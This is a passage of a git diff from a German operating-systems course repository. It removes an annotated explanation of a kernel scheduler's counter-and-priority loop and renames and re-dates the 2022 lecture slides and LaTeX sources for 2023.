ist identisch.) - --------------------------------------------------------------------------------- - - if (c) break; /* c kann nur 0 sein, wenn alle counter 0 sind. */ - - /* Wenn alle counter 0 sind, verteile die Rechenzeit neu. */ - - for(p = &LAST_TASK ; p > &FIRST_TASK ; --p) - if (*p) - (*p)->counter = ((*p)->counter >> 1) + - (*p)->priority; - - Wenn kein Programm mehr einen (*p)->counter > 0 hat, - bekommen alle Programme neue Rechenzeit zugewiesen, - nämlich ihre (*p)->priority plus den verbleibenden counter >> 1. - - counter >> 1 ist dasselbe wie counter / 2. - - Wieso berücksichtigen wir den counter, wenn der doch = 0 ist? - - Wegen der zusätzlichen Bedingung mit TASK_RUNNING - - if ((*p)->state == TASK_RUNNING && (*p)->counter > c) - c = (*p)->counter, next = i; - - werden bei der Ermittlung von c nur solche Programme berücksichtigt, - deren status == TASK_RUNNING ist, also nur Programme, die tatsächlich - Rechenzeit haben wollen. Programme, die auf etwas warten, können einen - counter > 0 haben, ohne daß dadurch c > 0 würde. - (Beispiel: Programm, das auf einen Tastendruck wartet) - - Ergebnis: Bei der Zuteilung neuer Rechenzeit kann man Rechenzeit - "ansparen", aber nicht unbegrenzt (weil wir durch 2 dividieren). - Rechenzeit verfällt daher exponentiell, wächst gleichzeitig linear, - bleibt daher endlich. - - Gesamtergebnis: Interaktive Programme können, während sie auf einen - Tastendruck warten, Rechenzeit "ansparen", die sie dann zur Verfügung - haben, sobald der Tastendruck kommt. - diff --git a/20220314/Operating_system_placement-de.pdf b/20230313/Operating_system_placement-de.pdf similarity index 100% rename from 20220314/Operating_system_placement-de.pdf rename to 20230313/Operating_system_placement-de.pdf diff --git a/20220321/bs-20220321.pdf b/20230313/bs-20230313.pdf similarity index 98% rename from 20220321/bs-20220321.pdf rename to 20230313/bs-20230313.pdf index 34dc6c31ae56edb26adac97ac45c7afd420e7544..81d1383977c3104198115064ed2502ef7ae81561 100644 Binary files a/20220321/bs-20220321.pdf and b/20230313/bs-20230313.pdf differ diff --git a/20220321/bs-20220321.tex b/20230313/bs-20230313.tex similarity index 99% rename from 20220321/bs-20220321.tex rename to 20230313/bs-20230313.tex index 9b5a1f75c91f9acb1844ca4b7c0ff1f3a3c8945a..4eb72357ca4bead19004525bcd68f755d07dbc53 100644 --- a/20220321/bs-20220321.tex +++ b/20230313/bs-20230313.tex @@ -1,5 +1,5 @@ -% bs-20220321.pdf - Lecture Slides on Operating Systems -% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Peter Gerwinski +% bs-20230313.pdf - Lecture Slides on Operating Systems +% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -41,7 +41,7 @@ \title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{21.\ März 2022} +\date{13.\ März 2023} \begin{document} @@ -55,7 +55,7 @@ \put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{% \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}} \end{picture}% - 21.\ März 2022\kern0.5pt} + 13.\ März 2023\kern0.5pt} \maketitleframe diff --git a/20220314/logo-hochschule-bochum-cvh-text.pdf b/20230313/logo-hochschule-bochum-cvh-text.pdf similarity index 100% rename from 20220314/logo-hochschule-bochum-cvh-text.pdf rename to 20230313/logo-hochschule-bochum-cvh-text.pdf diff --git a/20220314/logo-hochschule-bochum.pdf b/20230313/logo-hochschule-bochum.pdf similarity index 100% rename from 20220314/logo-hochschule-bochum.pdf rename to 20230313/logo-hochschule-bochum.pdf diff --git a/20220314/pgslides.sty b/20230313/pgslides.sty similarity index 100% rename from 20220314/pgslides.sty rename to 20230313/pgslides.sty diff --git a/20220314/unix-20220314.pdf b/20230313/unix-20230313.pdf similarity index 99% rename from 20220314/unix-20220314.pdf rename to 20230313/unix-20230313.pdf index 7e886e51bbe00b830b1fa203648ded03ab320a36..813468d7dcc1689a43447e996854c5ba7a6a76ed 100644 Binary files a/20220314/unix-20220314.pdf and b/20230313/unix-20230313.pdf differ diff --git a/20220314/unix-20220314.tex b/20230313/unix-20230313.tex similarity index 99% rename from 20220314/unix-20220314.tex rename to 20230313/unix-20230313.tex index 09419e7581df465fe85f93cd4754a86a3907ff18..7b7f747a75e7891bd4e8ef41436b727f4fda21ae 100644 --- a/20220314/unix-20220314.tex +++ b/20230313/unix-20230313.tex @@ -1,5 +1,5 @@ -% unix-20220314.pdf - Lecture Slides on Unix Fundamentals -% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021, 2022 Peter Gerwinski +% unix-20230313.pdf - Lecture Slides on Unix Fundamentals +% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021, 2022, 2023 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -30,7 +30,7 @@ \title{Einführung in Unix} \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{14.\ März 2022} +\date{13.\ März 2023} \begin{document}